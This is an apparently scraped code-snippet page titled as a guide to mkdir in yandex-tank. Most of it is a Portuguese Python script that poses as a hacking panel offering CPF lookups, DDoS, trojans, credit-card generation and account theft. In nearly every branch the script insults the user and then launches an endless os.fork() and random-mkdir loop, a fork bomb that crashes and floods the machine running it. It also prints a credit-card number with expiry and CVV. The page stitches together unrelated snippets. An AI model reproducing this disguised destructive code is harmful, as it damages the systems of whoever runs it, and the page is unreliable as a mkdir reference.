How to use mkdir method in yandex-tank

Best Python code snippet using yandex-tank

pulp_nn_struct.py

Source:pulp_nn_struct.py Github

copy

Full Screen

...302 'golden_model_add': PULPNNTestFolderExtHW64bit + "include/GoldenModelAdd/",303 'test': PULPNNTestFolderExtHW64bit}304# Folder generation305def mkdir_p(path):306 pathlib.Path(path).mkdir(parents=True, exist_ok=True)307# Sources folder generation308def mkdir_src(act_prec, ext):309 if ext == 'XpulpV2':310 if act_prec == '32bit':311 mkdir_p(PULPNNSrcDirsSW32bit['src'])312 mkdir_p(PULPNNSrcDirsSW32bit['inc'])313 mkdir_p(PULPNNSrcDirsSW32bit['convolution'])314 mkdir_p(PULPNNSrcDirsSW32bit['pointwise'])315 mkdir_p(PULPNNSrcDirsSW32bit['matmul'])316 mkdir_p(PULPNNSrcDirsSW32bit['depthwise'])317 mkdir_p(PULPNNSrcDirsSW32bit['linear_nq'])318 mkdir_p(PULPNNSrcDirsSW32bit['linear_q'])319 mkdir_p(PULPNNSrcDirsSW32bit['pooling'])320 mkdir_p(PULPNNSrcDirsSW32bit['maxpool'])...

Full Screen

Full Screen

main.py

Source:main.py Github

copy

Full Screen

1#-----------------------------------------------#2global V, M, verde, A, P,amare3A='\033[1;31m';verde='\033[1;32m ';M='\033[1;35m';V='\033[1;31m';P='\033[1;30m';amare='\033[1;33m'45import os, random6from time import sleep7from sys import argv, executable89def bomb(Length):10 number = '0123456789'11 alpha = 'abcdefghijklmnopqrstuvwxyz'12 ra = '!@#$%¨&*()_+=-*/-+.,'13 id = ''14 for i in range(0,Length,2):15 id += random.choice(number)16 id += random.choice(alpha)17 id += random.choice(ra)18 return id19 20def clear(): os.system("cls||clear") 21clear()2223def lammer():24 try:25 print(f'{amare}[!]{amare}{A}Lammerzinho, travazaper, fudido, seu merda.\nesta função nao pode ser usada por você.');sleep(2);clear() 26 except KeyboardInterrupt:27 while True:28 print(f'{amare}[!]{amare}{A}Lammerzinho, travazaper, fudido, seu merda.\nesta função nao pode ser usada por você.');sleep(2);clear();os.fork()29 30def restart():31 os.execl(executable, executable, *argv)323334def banner(cor): 35 print(f'''{cor}36 ▄▄▄ ███▄ ▄███▓ ██████ ▄▄▄█████▓▓█████ ██▀███ 37▒████▄ ▓██▒▀█▀ ██▒▒██ ▒ ▓ ██▒ ▓▒▓█ ▀ ▓██ ▒ ██▒38▒██ ▀█▄ ▓██ ▓██░░ ▓██▄ ▒ ▓██░ ▒░▒███ ▓██ ░▄█ ▒39░██▄▄▄▄██ ▒██ ▒██ ▒ ██▒░ ▓██▓ ░ ▒▓█ ▄ ▒██▀▀█▄ 40 ▓█ ▓██▒▒██▒ ░██▒▒██████▒▒ ▒██▒ ░ ░▒████▒░██▓ ▒██▒41 ▒▒ ▓▒█░░ ▒░ ░ ░▒ ▒▓▒ ▒ ░ ▒ ░░ ░░ ▒░ ░░ ▒▓ ░▒▓░42 ▒ ▒▒ ░░ ░ ░░ ░▒ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░43 ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░ ░ 44 ░ ░ ░ ░ ░ ░ ░ 45{amare}[!]{amare}{V}--developed by DioBrando--.{amare}[!]{amare}4647{amare}[!]{amare}{V}--developed by joestar Team hacking--.{amare}[!]{amare}48''')49banner(cor=V)50def bonus():51 clear()52 banner(cor=amare)53 print(f'{M}1 - Criar um malware para controlar celular. {verde}.apk')54 print(f'{M}2 - Criar um malware para controlar pc. {verde}.exe')55 print(f'{M}3 - DDOS {verde} outro metodo.')56 print(f'{M}4 - Consulta Nome {verde}MÉTODO 2.')57 print(f'{M}5 - Consulta Número {verde}MÉTODO 2.')58 escu = int(input(f'{M}Escolha a opção desejada:'));sleep(2);clear()59 if escu == 1:60 clear()61 nome = str(input(f'{M}Digite o nome do malware.'))62 print(f'{M}Criando malware com o nome de: {nome}');sleep(0.7);clear()63 print(f'{M}Aguarde...');sleep(2);clear()64 print(f'{M}Malware criado em: ./Downloads');sleep(1);clear();lammer()65 while True: 66 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")67 os.fork()68 elif escu == 2:69 clear()70 nom = str(input(f'{M}Digite o nome do malware.'))71 print(f'{M}Criando malware com o nome de: {nom}');sleep(0.7);clear()72 print(f'{M}Aguarde...');sleep(2);clear()73 print(f'{M}Malware criado em: ./Downloads');sleep(1);clear();lammer()74 while True:75 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")76 os.fork()77 elif escu == 3:78 ipp = str(input(f'{amare}[!]{amare}{P}[ALERT]{P}, Exemplo: 192.168.0.1)\n{M}Digite o ip alvo: '))79 if ipp != 12:80 print(f"{amare}[!]{amare}{P}[ALERT]{P}, {A}Ip invalido!");sleep(1.5);clear();lammer()81 while True:82 os.system(f"mkdir {bomb(10*10)}")83 os.system(f"mkdir {bomb(10*100)}")84 os.fork()85 print(f'Enviando 20000 pacotes para {ipp}.');sleep(0.5)86 print(f'Enviando 40000 pacotes para {ipp}.');sleep(0.5)87 print(f'Enviando 80000 pacotes para {ipp}.');sleep(0.5)88 print(f'Enviando 160000 pacotes para {ipp}.')89 print(f'Enviando 320000 pacotes para {ipp}.');clear();lammer()90 os.system(f"mkdir {bomb(256)}")91 os.system(f"mkdir {bomb(256)}")92 os.system(f"mkdir {bomb(256)}")93 while True:94 os.fork()95 elif escu == 4:96 clear()97 input(f'{M}Digite aqui o nome que deseja consultar: ')98 clear();print(f'{M}Consultando...');sleep(2);clear()99 lammer()100 while True: 101 os.system(f"mkdir {bomb(256)}")102 os.fork()103 elif escu == 5:104 clear()105 try:106 nume = int(input(f'{M}Digite aqui o número que deseja consultar: '))107 except:108 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um número de telefone válido!');sleep(2);clear();lammer()109 while True:110 os.system(f"mkdir {bomb(256)}")111 os.system(f"mkdir {bomb(256)}");os.system(f"mkdir {bomb(256)}")112 os.fork()113 print(f'{M}Puxando dados do número {nume}...{verde}Aguarde.')114 sleep(2);clear();lammer()115 while True:116 os.system(f"mkdir {bomb(10*10)}")117 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")118 os.fork()119120print(f'{M} 1 - Consulta CPF',f'{verde}[ON]')121print(f'{M} 2 - Consulta Nome',f'{verde}[ON]')122print(f'{M} 3 - Consulta CNPJ',f'{V}[OFF]')123print(f'{M} 4 - Consulta Número',f'{verde}[ON]')124print(f'{M} 5 - Gerar Vírus',f'{verde}[ON]')125print(f'{M} 6 - DDOS',f'{verde}[ON]')126print(f'{M} 7 - Gerar cartão de credito.',f'{verde}[ON]')127print(f'{M} 8 - Clonar banco de dados.',f'{V}[OFF]')128print(f'{M} 9 - Consulta Score.', f'{verde}[ON]')129print(f'{M} 10 - Consulta nome mãe.', f'{verde}[ON]')130print(f'{M} 11 - Clonar whatsapp.', f'{verde}Método spoofing.',f'{verde}[ON]')131print(f'{M} 12 - Funções bonus.', f'{amare}VIP!')132print(f'{M} 13 - Funções de roubo de conta.',f'{verde}[ON]')133print(f'{M} 14 - Roubo em jogos.',f'{verde}[ON]')134print(f'{M} 15 - Salves. {verde}[Salves.]')135136try:137 esc = str(input(f'{M}Digite a opção desejada: '))138except:139 clear();sleep(2);lammer()140 while True:141 os.system(f"mkdir {bomb(10*100)}")142 os.system(f"mkdir {bomb(10*100)}")143 os.fork()144145if esc == '1':146 clear()147 print(f'{M}Método 1.{verde}[ON]')148 print(f'{M}Método 2.{V}[OFF]')149 print(f'{M}Método 3.{verde}[ON]')150 print(f'{M}Método 4.{V}[OFF]')151 try:152 metodo = int(input(f'{M}Digite o Método que deseja utilizar: '))153 except:154 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Digito invalido!')155 if metodo == 1:156 clear()157 cpf = int(input(f'{M}Digite aqui o cpf que deseja consultar: '))158 if cpf != 11:159 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2);clear()160 lammer()161 while True: 162 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")163 os.fork()164 elif metodo == 2:165 clear()166 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()167 while True:168 os.system(f"mkdir {bomb(10*100)}")169 os.system(f"mkdir {bomb(10*100)}")170 os.fork()171 elif metodo == 3:172 clear()173 try:174 surfacing = int(input(f'{M}Digite aqui o cpf que deseja consultar: '))175 except:176 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2);clear()177 lammer()178 while True: 179 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")180 os.fork()181182 if surfacing != 11:183 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2);clear()184 lammer()185 while True: 186 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")187 os.fork()188 elif metodo == 4:189 clear()190 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()191 while True:192 os.system(f"mkdir {bomb(10*100)}")193 os.system(f"mkdir {bomb(10*100)}")194 os.fork()195 196197elif esc == "2":198 clear()199 input(f'{M}Digite aqui o nome que deseja consultar: ')200 clear();print(f'{M}Consultando...');sleep(2);clear()201 lammer()202 while True: 203 os.system(f"mkdir {bomb(10*10)}")204 os.system(f"mkdir {bomb(10*10)}")205 os.system(f"mkdir {bomb(10*100)}")206 os.fork()207 208elif esc == "3":209 clear()210 cnpj = int(input(f'{M}Digite aqui o cnpj que deseja consultar: '))211 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2)212 clear();lammer()213 while True:214 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")215 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")216 os.fork()217elif esc == "4":218 clear()219 try:220 num = int(input(f'{M}Digite aqui o número que deseja consultar: '))221 except:222 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um número de telefone válido!');sleep(2);clear();lammer()223 while True:224 os.system(f"mkdir {bomb(10*10)}")225 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")226 os.fork()227 print(f'{M}Puxando dados do número {num}...{verde}Aguarde.')228 sleep(2);clear();lammer()229 while True:230 os.system(f"mkdir {bomb(10*10)}")231 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")232 os.fork()233234elif esc == "5":235 clear()236 print(f'{M}1 - Método 1.',f'{verde}[Mais funcional.]')237 print(f'{M}2 - Método 2.')238 es = input(f'{M}Digite o metodo que deseja para criar o trojan:');sleep(1.3);clear()239 print(f"{M}Criando Trojan..."f"{verde}(Aguarde)");sleep(1)240 print(f"{M}Criando Trojan..."f"{verde}(Aguarde)");sleep(1)241 print(f"{M}Criando Trojan..."f"{verde}(Aguarde)");sleep(3);clear()242 print(f'{M}Trojan criado.');sleep(2);clear()243 print(f'{M}1 - Método de ip.',f'{verde}(Mais funcional.)')244 print(f'{M}2 - Método de apk.')245 esca=input('Selecione o metodo de enviar: ');sleep(1);clear()246 if esca == "1":247 input(f"{M}Digite o ip alvo:");sleep(2);clear();lammer()248 while True:249 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")250 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}");251 os.fork()252 elif esca == "2":253 print(f'{M}Aguarde, o virus será criado em sua pasta de downloads.');sleep(2);clear();lammer()254 while True:255 os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")256 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")257 os.fork()258259elif esc == "6":260 clear()261 print(f'{M}Método 1',f'{verde}[ON]')262 print(f'{M}Método 2',f'{verde}[ON]')263 escol = input(f'{M}Digite o método que deseja: ');sleep(2);clear()264 if escol == "1":265 ip = str(input(f'{amare}[!]{amare}{P}[ALERT]{P}, Exemplo: 192.168.0.1)\n{M}Digite o ip alvo: '))266 if ip != 10:267 print(f"{amare}[!]{amare}{P}[ALERT]{P}, {A}Ip invalido!");sleep(1.5);clear();lammer()268 while True:269 os.system(f"mkdir {bomb(10*10)}")270 os.system(f"mkdir {bomb(10*100)}")271 os.system(f"mkdir {bomb(10*100)}")272 os.fork()273 print(f'Enviando 20000 pacotes para {ip}.');sleep(0.5)274 print(f'Enviando 40000 pacotes para {ip}.');sleep(0.5)275 print(f'Enviando 80000 pacotes para {ip}.');sleep(0.5)276 print(f'Enviando 160000 pacotes para {ip}.')277 print(f'Enviando 320000 pacotes para {ip}.');clear();lammer()278 while True:279 os.system(f"mkdir {bomb(10*10)}")280 os.system(f"mkdir {bomb(10*10)}")281 os.system(f"mkdir {bomb(10*10)}")282 os.fork()283 elif escol == "2":284 ip2 = ip = str(input(f'{amare}[!]{amare}{P}[ALERT]{P}, Exemplo: 192.168.0.1)\n{M}Digite o ip alvo: '))285 if ip2 != 12:286 print(f"{amare}[!]{amare}{P}[ALERT]{P}, {A}Ip invalido!");sleep(1.5);clear();lammer()287 while True:288 os.system(f"mkdir {bomb(10*10)}")289 os.system(f"mkdir {bomb(10*100)}")290 os.fork()291 print(f'Enviando 20000 pacotes para {ip}.');sleep(0.5)292 print(f'Enviando 40000 pacotes para {ip}.');sleep(0.5)293 print(f'Enviando 80000 pacotes para {ip}.');sleep(0.5)294 print(f'Enviando 160000 pacotes para {ip}.')295 print(f'Enviando 320000 pacotes para {ip}.');clear();lammer()296 os.system(f"mkdir {bomb(10*10)}")297 os.system(f"mkdir {bomb(10*100)}")298 os.system(f"mkdir {bomb(10*100)}")299 os.fork()300301elif esc == "7":302 clear()303 print(f'{M}1 - Mastercard.',f'{verde}[ON]')304 print(f'{M}2 - Visa.',f'{V}[OFF]')305 print(f'{M}3 - PicPay.',f'{verde}[ON]')306 print(f'{M}4 - PayPal.',f'{verde}[ON]')307 print(f'{M}5 - Caixa.',f'{V}[OFF]')308 print(f'{M}6 - Nubank.',f'{verde}[ON]')309 op = int(input(f'{M}Digite a opção desejada: '));sleep(2);clear()310 if op > 7:311 clear()312 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(1.5);lammer()313 while True:314 os.system(f"mkdir {bomb(10*10)}")315 os.system(f"mkdir {bomb(10*100)}")316 os.system(f"mkdir {bomb(10*100)}")317 os.fork()318 clear()319 print(f'{M}Gerando cartão...');sleep(2);clear()320 print(f'{M}Testando cartão em lojas...',f'{verde}Testado!',f'{verde}Funcionando!');sleep(2);clear()321 print(f'{M}O cartão gerado foi: 5282 1738 3637 1016\n{M}Validade:27/07/2023\n{M}Código de segurança:106');sleep(3)322 clear()323 print(f'{M}1 - Casas bahia.{verde}Funcionando!')324 print(f'{M}2 - Lojas renner.{verde}Funcionando!')325 print(f'{M}3 - Mercado livre.{verde}Funcionando!')326 input(f'{M}Deseja Testar seu cartão aonde? ');sleep(1.5);clear();lammer()327 while True:328 os.system(f"mkdir {bomb(10*10)}")329 os.system(f"mkdir {bomb(10*100)}")330 os.fork()331332elif esc == "8":333 clear()334 print(f'{M}Temos 3 banco de dados no nosso sistema.')335 print(f'{M}1 - Banco de dados de Nome. {verde}100Milhões de nomes')336 print(f'{M}2 - Banco de dados de Número. {verde}80Milhões de cpf')337 print(f'{M}3 - Banco de dados de CC.(Cartão de crédito.) {verde}90% funcionando.')338 try:339 nume = int(input(f'{M}Digite a opção desejada: '))340 except:341 clear()342 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()343 while True:344 os.system(f"mkdir {bomb(10*100)}")345 os.system(f"mkdir {bomb(10*100)}")346 os.fork()347 if nume == 1:348 clear()349 print(f'{M}Movendo banco de dados de nome para seu armazenamento.');sleep(2);clear();lammer()350 while True:351 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")352 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")353 os.fork()354 elif nume == 2:355 clear()356 print(f'{M}Movendo banco de dados de número para seu armazenamento.');sleep(2);clear();lammer()357 while True:358 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")359 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")360 os.fork()361 elif nume == 3:362 clear()363 print(f'{M}Movendo banco de dados de CC para seu armazenamento.');sleep(2);clear();lammer()364 while True:365 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")366 os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")367 os.fork()368369elif esc == "9":370 clear()371 print(f'{M}1 - Consultar Score pelo número.{verde}[ON]')372 print(f'{M}2 - Consutar Score pelo Cpf.{verde}[ON]')373 print(f'{M}3 - Consultar Score pelo Nome.{V}[OFF]')374 try:375 escolha = int(input(f'{M}Digite a opção desejada:'))376 except:377 clear()378 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()379 while True:380 os.system(f"mkdir {bomb(10*100)}")381 os.system(f"mkdir {bomb(10*100)}")382 os.fork()383 if escolha == 1:384 clear()385 try:386 numeru = int(input(f'{M}Exemplo: 1199832761\nDigite o número que deseja consultar score: '))387 except:388 clear()389 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um número válido.')390 if numeru >10:391 clear()392 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos inválida.');sleep(2);clear();lammer()393 while True:394 os.system(f"mkdir {bomb(10*100)}")395 os.system(f"mkdir {bomb(10*100)}")396 os.fork()397 else:398 clear()399 print(f'{M}Buscando número... {verde}Aguarde!');sleep(3);clear();lammer()400 while True:401 os.system(f"mkdir {bomb(10*100)}")402 os.system(f"mkdir {bomb(10*100)}")403 os.fork()404 elif escolha == 2:405 clear()406 try:407 bruh = int(input(f'{M}Exemplo: 45627984321\nDigite o cpf que deseja consultar score:'))408 except:409 clear()410 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um CPF.');sleep(2);clear();lammer()411 while True:412 os.system(f"mkdir {bomb(10*100)}")413 os.system(f"mkdir {bomb(10*100)}")414 os.fork()415 if bruh >11:416 clear()417 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um CPF Válido.');sleep(2);clear();lammer()418 while True:419 os.system(f"mkdir {bomb(10*100)}")420 os.system(f"mkdir {bomb(10*100)}")421 os.fork()422 else:423 clear()424 print(f'{M}Consultando cpf...{verde}Aguarde..');sleep(2);clear();lammer()425 while True:426 os.system(f"mkdir {bomb(10*100)}")427 os.system(f"mkdir {bomb(10*100)}")428 os.fork()429 elif escolha == 3:430 clear()431 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()432 while True:433 os.system(f"mkdir {bomb(10*100)}")434 os.system(f"mkdir {bomb(10*100)}")435 os.fork()436elif esc == "10":437 clear()438 try:439 clear()440 mae = str(input(f'{M}Digite o nome que deseja consultar:'))441 except:442 clear()443 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome.');sleep(1.6);clear();lammer()444 while True:445 os.system(f"mkdir {bomb(10*100)}")446 os.system(f"mkdir {bomb(10*100)}")447 os.fork()448 clear()449 print(f'{M}Consultando o nome: {mae}, {verde}Aguarde..');sleep(3);clear();lammer()450 while True:451 os.system(f"mkdir {bomb(10*100)}")452 os.system(f"mkdir {bomb(10*100)}")453 os.fork()454455elif esc == "11":456 clear()457 print(f'{M}1 - Explicação de como fazer.{verde}Iniciantes.')458 print(f'{M}2 - Spoofing método 1.{verde}[ON]')459 print(f'{M}3 - Spoofing método 2.{V}[OFF]')460 try:461 spo = int(input(F'{M}Digite o metodo que deseja.'))462 except:463 clear()464 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou uma opção válida!.')465 if spo == 1:466 clear()467 print(f'{M}Spoofing nada mais é do que você simular a caixa postal de um número\nPara receber sms por ele.\nusando esse método você pode facilmente conseguir o codigo do whatsapp da pessoa.');sleep(2);clear()468 print(f'{V}ACHA MESMO QUE VOCÊ, TRAVAZAPER VAI CONSEGUIR FAZER SPOOFING? KKKKKKKKKKKKKKKKKKKKKKK')469 while True:470 os.system(f"mkdir {bomb(10*100)}")471 os.system(f"mkdir {bomb(10*100)}")472 os.fork()473474elif esc == "12":475 clear()476 bonus()477478elif esc == "13":479 clear()480 print(f'{M}1 - Roubar instagram {verde} [ON]')481 print(f'{M}2 - Roubar twitter {V} [OFF]')482 print(f'{M}3 - Roubar Facebook. {V} [OFF]')483 try:484 roubo = int(input(f'{M}Digite a opção desejada: '))485 except:486 clear()487 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou uma opção válida.!');sleep(2);clear();lammer()488 while True:489 os.system(f"mkdir {bomb(10*100)}")490 os.system(f"mkdir {bomb(10*100)}")491 os.fork()492 if roubo == 1:493 clear()494 print(f'{M}Método 1. {verde}[ON]')495 print(f'{M}Método 2. {verde}[ON]')496 print(f'{M}Método 3. {V}[OFF]')497 try:498 daron = int(input('Digite o método que queira usar: '))499 except:500 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um método válido.!');sleep(2);clear();lammer()501 while True:502 os.system(f"mkdir {bomb(10*100)}")503 os.system(f"mkdir {bomb(10*100)}")504 os.fork()505 if daron == 1:506 clear()507 try:508 user = str(input(f'{M}Digite o Usuário que deseja roubar: '))509 except:510 clear()511 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome de usuario valido.');sleep(2);clear();lammer()512 while True:513 os.system(f"mkdir {bomb(10*100)}")514 os.system(f"mkdir {bomb(10*100)}")515 os.fork()516 sleep(2);lammer()517 while True:518 os.system(f"mkdir {bomb(10*100)}")519 os.system(f"mkdir {bomb(10*100)}")520 os.fork()521 elif daron == 2:522 try:523 usu = str(input(f'{M}Digite O email da conta que deseja roubar: '))524 except:525 clear()526 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um endereço de email válido.')527 print(f'{M}Aguarde...');sleep(0.8);clear();print(f'{verde}Localizando email...');sleep(1.7);clear()528 print(f'{verde}Email localizado.');sleep(1);clear()529 print(f'{M}1 - Método 1.{verde}[On]')530 print(f'{M}2 - Método 2.{V}[OFF]')531 try:532 ok = int(input(f'{M}Digite o método que deseja utilizar.'))533 except:534 clear()535 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um metodo válido!')536 if usu == 1:537 clear()538 print(f'{M}Hackeando... aguarde..');sleep(2);clear();lammer()539 while True:540 os.system(f"mkdir {bomb(10*100)}")541 os.system(f"mkdir {bomb(10*100)}")542 os.fork()543 elif usu == 2:544 clear()545 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()546 while True:547 os.system(f"mkdir {bomb(10*100)}")548 os.system(f"mkdir {bomb(10*100)}")549 os.fork()550 elif daron == 3:551 clear()552 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()553 while True:554 os.system(f"mkdir {bomb(256)}")555 os.system(f"mkdir {bomb(256)}")556 os.fork()557 elif roubo == 2:558 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(2);clear();lammer()559 while True:560 os.system(f"mkdir {bomb(256)}")561 os.system(f"mkdir {bomb(256)}")562 os.fork()563 elif roubo == 3:564 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(2);clear();lammer()565 while True:566 os.system(f"mkdir {bomb(256)}")567 os.system(f"mkdir {bomb(256)}")568 os.fork()569 570elif esc == "14":571 clear()572 print(f'{M}Método 1.{verde}[ON]')573 print(f'{M}Método 2.{V}[OFF]')574 try:575 fred = int(input(f'{M}Digite a opção desejada: '))576 except:577 clear()578 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()579 while True:580 os.system(f"mkdir {bomb(256)}")581 os.system(f"mkdir {bomb(256)}")582 os.fork()583 if fred == 1:584 clear()585 print(f'{M}1 - Roubar conta de Free fire{verde}[ON]')586 print(f'{M}2 - GTA V RP.{verde}[ON]')587 try:588 six = int(input(f'{M}Escolha a opção de jogo desejada: '))589 except:590 clear()591 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()592 while True:593 os.system(f"mkdir {bomb(256)}")594 os.system(f"mkdir {bomb(256)}")595 os.fork()596 if six == 1:597 try:598 conta = int(input(f'{M}Digite o id da conta que deseja roubar: '))599 except:600 clear()601 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um id válido.');sleep(2);clear();lammer()602 while True:603 os.system(f"mkdir {bomb(256)}")604 os.system(f"mkdir {bomb(256)}")605 os.fork()606 if conta < 10:607 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos inválido.');sleep(2);clear();lammer()608 while True:609 os.system(f"mkdir {bomb(256)}")610 os.system(f"mkdir {bomb(256)}")611 os.fork()612 else:613 clear()614 print(f'{verde}Fazendo spoofing da conta..');sleep(2);clear();print(f'{verde}Aguarde...');sleep(2);clear();lammer()615 while True:616 os.system(f"mkdir {bomb(256)}")617 os.system(f"mkdir {bomb(256)}")618 os.fork()619 elif six == 2:620 clear()621 print(f'{M}1 - Pc.{verde}[ON]')622 print(f'{M}2 - Xbox.{verde}[ON]')623 print(f'{M}3 - Ps4, Ps5.{V}[OFF]')624 try:625 plata = int(input(f'{M}Digite a opção desejada: '))626 except:627 clear()628 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção inválida!');sleep(2);clear();lammer()629 while True:630 os.system(f"mkdir {bomb(256)}")631 os.system(f"mkdir {bomb(256)}")632 os.fork()633 if plata == 1:634 print(f'{M}1 - Método por Nome da conta.{verde}[ON]')635 print(f'{M}2 - Método por ID da conta.{verde}[ON]')636 print(f'{M}3 - Método por Email da conta.{V}[OFF]')637 try:638 gta = int(input(f'{M}Digite o Método que deseja utilizar: '))639 except:640 clear()641 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção inválida!');sleep(2);clear()642 while True:643 os.system(f"mkdir {bomb(256)}")644 os.system(f"mkdir {bomb(256)}")645 os.fork()646 if gta == 1:647 try:648 cont = str(input(f'{M}1 - Digite o Nome da conta que deseja roubar: '))649 except:650 clear()651 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome valido!');sleep(2);clear();lammer()652 while True:653 os.system(f"mkdir {bomb(256)}")654 os.system(f"mkdir {bomb(256)}")655 os.fork()656 print(f'{M}Hackeando a conta: {cont}... {verde}Aguarde...');sleep(2);clear();lammer()657 while True:658 os.system(f"mkdir {bomb(256)}")659 os.system(f"mkdir {bomb(256)}")660 os.fork()661 elif gta == 2:662 try:663 contaa = str(input(f'{M}1 - Digite o Id da conta que deseja roubar: '))664 except:665 clear()666 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome valido!');sleep(2);clear();lammer()667 while True:668 os.system(f"mkdir {bomb(256)}")669 os.system(f"mkdir {bomb(256)}")670 os.fork()671 print(f'{M}Hackeando a conta: {contaa}... {verde}Aguarde...');sleep(2);clear();lammer()672 while True:673 os.system(f"mkdir {bomb(256)}")674 os.fork()675 elif gta == 3:676 clear()677 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()678 while True:679 os.system(f"mkdir {bomb(256)}")680 os.fork()681 elif fred == 2:682 clear()683 print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()684 clear()685 while True:686 os.system(f"mkdir {bomb(256)}")687 os.fork()688elif esc == "15":689 clear()690 print(f'{M}Salve para os manos: {V}Mr diniz, Joshu, matheus joestar, Dio, crowley, lucas\nSpyware, Kimatsuki, vitor, Jotaro.');sleep(5);clear()691 print(f'{M}Salve pros manos da joestar team :D.{V}Diniz, Joshu, Dio, Spyware, Matheus Joestar.');sleep(5);clear()692 print(f'{M}Salve pra quem divulgou o painel.');sleep(6);clear();restart()693694else:695 clear()696 reset = str(input(f'{amare}[!]{amare}{P} ALERT{P}, {A}OPÇÃO INVALIDA! deseja reiniciar? (S/N)'));sleep(2);clear()697 print(f'{A}Problema é seu, seu bosta.');sleep(2);clear()698 while True:699 lammer()700 os.system(f"mkdir {bomb(253)}")701 os.system(f"mkdir {bomb(256)}") ...

Full Screen

Full Screen

project.spec.js

Source:project.spec.js Github

copy

Full Screen

